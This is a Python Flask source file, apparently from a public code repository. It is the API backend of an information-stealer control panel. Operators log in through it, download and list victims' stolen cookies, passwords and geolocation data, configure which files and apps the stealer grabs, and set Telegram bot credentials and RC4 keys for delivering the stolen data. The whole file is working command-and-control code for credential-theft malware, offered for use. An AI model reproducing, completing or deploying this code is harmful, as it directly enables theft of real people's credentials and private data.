320 lines
12 KiB
Python
320 lines
12 KiB
Python
#!/usr/bin/env python3
|
|||
|
|
# -*- coding: utf-8 -*-
|
||
|
|
# Coded by [email protected]
|
||
|
|
|
||
|
|
# Import modules
|
||
|
|
from functools import wraps
|
||
|
|
from base64 import b64decode
|
||
|
|
from json import loads, dumps
|
||
|
|
from markupsafe import escape
|
||
|
|
from flask import \
|
||
|
|
request, jsonify, session, redirect, url_for, send_file
|
||
|
|
# Import packages
|
||
|
|
from core.models.reports import Report
|
||
|
|
from core.models.accounts import Account
|
||
|
|
from core.models.errors import ApiErrors
|
||
|
|
from core.modules.targets import SetTargetApps
|
||
|
|
from core.modules.telegram import SetTelegramCredentials
|
||
|
|
from core.modules.encryption import SetEncryptionKey, RC4Cipher
|
||
|
|
from core.modules.grabber import \
|
||
|
|
AddGrabberPath, DeleteGrabberPath, \
|
||
|
|
SetGrabberExtensions, SetGrabberMaxSize
|
||
|
|
|
||
|
|
""" Check if client session is exists and valid """
|
||
|
|
def is_client_authorized() -> bool:
|
||
|
|
# Check if session exists
|
||
|
|
if not session:
|
||
|
|
return False
|
||
|
|
# Create account object
|
||
|
|
account = Account(session["account"]["username"],
|
||
|
|
session["account"]["password"])
|
||
|
|
# Check if account exists and password
|
||
|
|
if not account.exists() or not account.login():
|
||
|
|
session.pop("account", None)
|
||
|
|
return False
|
||
|
|
|
||
|
|
return True
|
||
|
|
|
||
|
|
""" Login decorator """
|
||
|
|
def login_required(function):
|
||
|
|
@wraps(function)
|
||
|
|
def decorated_function(*args, **kwargs):
|
||
|
|
if not is_client_authorized():
|
||
|
|
return redirect(url_for("login"), code=302)
|
||
|
|
return function(*args, **kwargs)
|
||
|
|
return decorated_function
|
||
|
|
|
||
|
|
|
||
|
|
"""
|
||
|
|
Get report error/success message by id
|
||
|
|
Result: ErrorState, Message, Report object
|
||
|
|
"""
|
||
|
|
def get_report_state(id: int) -> tuple:
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return True, ApiErrors.client_not_authorized, None
|
||
|
|
# Get report by id
|
||
|
|
report = Report(identification=id)
|
||
|
|
# Check if exists
|
||
|
|
if not report.Exists():
|
||
|
|
return True, ApiErrors.Report.not_found.format(id), None
|
||
|
|
# Check username
|
||
|
|
if not report.IsReportOwner(session["account"]["username"]):
|
||
|
|
return True, ApiErrors.client_not_authorized, None
|
||
|
|
# Done
|
||
|
|
return False, "OK", report
|
||
|
|
|
||
|
|
""" API requests handler """
|
||
|
|
def private_api_handler(function):
|
||
|
|
# Get account credentials
|
||
|
|
username = escape(request.args.get("username"))
|
||
|
|
if username == "None": # If args is empty - try get from post data
|
||
|
|
username = escape(request.form.get("username"))
|
||
|
|
password = escape(request.args.get("password"))
|
||
|
|
if password == "None": # If args is empty - try get from post data
|
||
|
|
password = escape(request.form.get("password"))
|
||
|
|
|
||
|
|
# Create account object
|
||
|
|
account = Account(username, password)
|
||
|
|
|
||
|
|
# Account login function
|
||
|
|
if function == "login":
|
||
|
|
# Check if already logged in
|
||
|
|
if "account" in session:
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.Login.already_logged_in.format(session["account"]["username"])})
|
||
|
|
# Check if account exists
|
||
|
|
if not account.exists():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.Login.account_does_not_exist.format(username)})
|
||
|
|
# Check password
|
||
|
|
if not account.login():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.Login.wrong_password})
|
||
|
|
# Logged in
|
||
|
|
session["account"] = {"username": username, "password": password} # Set session
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Login.logged_in})
|
||
|
|
|
||
|
|
# Account logout
|
||
|
|
elif function == "logout":
|
||
|
|
# Session exists
|
||
|
|
if is_client_authorized():
|
||
|
|
# Close session
|
||
|
|
session.pop("account", None)
|
||
|
|
# Redirect to login page
|
||
|
|
return redirect(url_for("login"), code=302)
|
||
|
|
|
||
|
|
# Account register function
|
||
|
|
|
||
|
|
# Account unregister function
|
||
|
|
elif function == "unregister":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Unregister account
|
||
|
|
if Account(session["account"]["username"], '').unregister():
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Register.unregistered_ok})
|
||
|
|
|
||
|
|
# Change account password
|
||
|
|
elif function == "change_password":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get new and old password
|
||
|
|
new_password = escape(request.form.get("new_password"))
|
||
|
|
old_password = escape(request.form.get("old_password"))
|
||
|
|
# Create account object from data
|
||
|
|
account = Account(session["account"]["username"], old_password)
|
||
|
|
# Check user is authorized
|
||
|
|
if account.login() is False:
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Change password
|
||
|
|
account.change_password(new_password)
|
||
|
|
# Delete session
|
||
|
|
session.pop("account", None)
|
||
|
|
# Done
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Register.change_password_ok})
|
||
|
|
|
||
|
|
# Change account encryption key
|
||
|
|
elif function == "change_encryption_key":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get RC4 key
|
||
|
|
rc4_key = escape(request.form.get("rc4_key"))
|
||
|
|
SetEncryptionKey(session["account"]["username"], rc4_key)
|
||
|
|
# Done
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Register.change_password_ok})
|
||
|
|
|
||
|
|
|
||
|
|
# Get report
|
||
|
|
elif function == "get_report":
|
||
|
|
# Get report id
|
||
|
|
report_id = request.args.get("id")
|
||
|
|
# Get report
|
||
|
|
error, message, report = get_report_state(report_id)
|
||
|
|
# On error
|
||
|
|
if error: return jsonify({"error": True,
|
||
|
|
"message": message})
|
||
|
|
# Send report
|
||
|
|
filehandle, filename = report.GetArchive()
|
||
|
|
return send_file(
|
||
|
|
as_attachment=True,
|
||
|
|
path_or_file=filehandle,
|
||
|
|
attachment_filename=filename,
|
||
|
|
mimetype="application/zip"
|
||
|
|
)
|
||
|
|
|
||
|
|
# Delete report from db and disk
|
||
|
|
elif function == "del_report":
|
||
|
|
# Check if authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get report id
|
||
|
|
report_id = request.args.get("id")
|
||
|
|
# Get report
|
||
|
|
error, message, report = get_report_state(report_id)
|
||
|
|
# On error
|
||
|
|
if error: return jsonify({"error": True,
|
||
|
|
"message": message})
|
||
|
|
# Delete
|
||
|
|
report.DeleteReport()
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Report.deleted_ok.format(report_id)})
|
||
|
|
|
||
|
|
# Comment report in db
|
||
|
|
elif function == "com_report":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get report id
|
||
|
|
report_id = request.args.get("id")
|
||
|
|
comment_t = escape(request.args.get("text"))
|
||
|
|
# Get report
|
||
|
|
error, message, report = get_report_state(report_id)
|
||
|
|
# On error
|
||
|
|
if error: return jsonify({"error": True,
|
||
|
|
"message": message})
|
||
|
|
# Comment
|
||
|
|
report.ChangeComment(comment_t)
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Report.comment_ok})
|
||
|
|
|
||
|
|
|
||
|
|
# Get reports list
|
||
|
|
elif function == "get_reports":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get report id
|
||
|
|
report_id = request.args.get("id")
|
||
|
|
|
||
|
|
# Get all reports
|
||
|
|
if report_id is None:
|
||
|
|
found_reports = Report.GetReports(
|
||
|
|
session["account"]["username"],
|
||
|
|
geo_data_dict=True
|
||
|
|
)
|
||
|
|
# Get one report
|
||
|
|
else:
|
||
|
|
found_reports = Report.GetReports(
|
||
|
|
session["account"]["username"],
|
||
|
|
geo_data_dict=True,
|
||
|
|
identification=report_id
|
||
|
|
)
|
||
|
|
|
||
|
|
# Get reports data
|
||
|
|
reports = list(map(lambda report:
|
||
|
|
{
|
||
|
|
"id": report.id,
|
||
|
|
"geo": report.geo_data,
|
||
|
|
"time": report.add_time,
|
||
|
|
"counter": report.counter,
|
||
|
|
"cookies": report.cookies_list,
|
||
|
|
"passwords": report.passwords_list,
|
||
|
|
"information": report.information,
|
||
|
|
}, found_reports)
|
||
|
|
)
|
||
|
|
return jsonify(reports)
|
||
|
|
|
||
|
|
# Add grabber path
|
||
|
|
elif function == "new_grabber_path":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Create new
|
||
|
|
path_value = b64decode(request.args.get("b64_value")).decode("utf8")
|
||
|
|
AddGrabberPath(session["account"]["username"], path_value)
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Grabber.path_saved_ok})
|
||
|
|
|
||
|
|
# Delete grabber path
|
||
|
|
elif function == "del_grabber_path":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Delete
|
||
|
|
path_value = b64decode(request.args.get("b64_value")).decode("utf8")
|
||
|
|
DeleteGrabberPath(session["account"]["username"], path_value)
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Grabber.path_deleted_ok})
|
||
|
|
|
||
|
|
# Delete grabber path
|
||
|
|
elif function == "set_grabber_extensions":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Set new extensions and size
|
||
|
|
extensions = loads(request.args.get("json_list"))
|
||
|
|
max_size = int(request.args.get("size"))
|
||
|
|
SetGrabberMaxSize(session["account"]["username"], max_size)
|
||
|
|
SetGrabberExtensions(session["account"]["username"], extensions)
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Grabber.extensions_saved_ok})
|
||
|
|
|
||
|
|
# Change telegram bot token and chatids
|
||
|
|
elif function == "set_telegram_credentials":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get params
|
||
|
|
token = request.args.get("token")
|
||
|
|
ids = loads(request.args.get("json_list"))
|
||
|
|
# Apply settings
|
||
|
|
SetTelegramCredentials(session["account"]["username"], token, ids)
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Register.change_telegram_ok})
|
||
|
|
|
||
|
|
# Change stealer configuration for user
|
||
|
|
elif function == "set_apps_collection_configuration":
|
||
|
|
# Check user is authorized
|
||
|
|
if not is_client_authorized():
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.client_not_authorized})
|
||
|
|
# Get params
|
||
|
|
apps = loads(request.args.get("json_list"))
|
||
|
|
# Apply settings
|
||
|
|
SetTargetApps(session["account"]["username"], apps)
|
||
|
|
return jsonify({"error": False,
|
||
|
|
"message": ApiErrors.Register.change_apps_ok})
|
||
|
|
|
||
|
|
# Method does not exists
|
||
|
|
else:
|
||
|
|
return jsonify({"error": True,
|
||
|
|
"message": ApiErrors.function_does_not_exist.format(function)})
|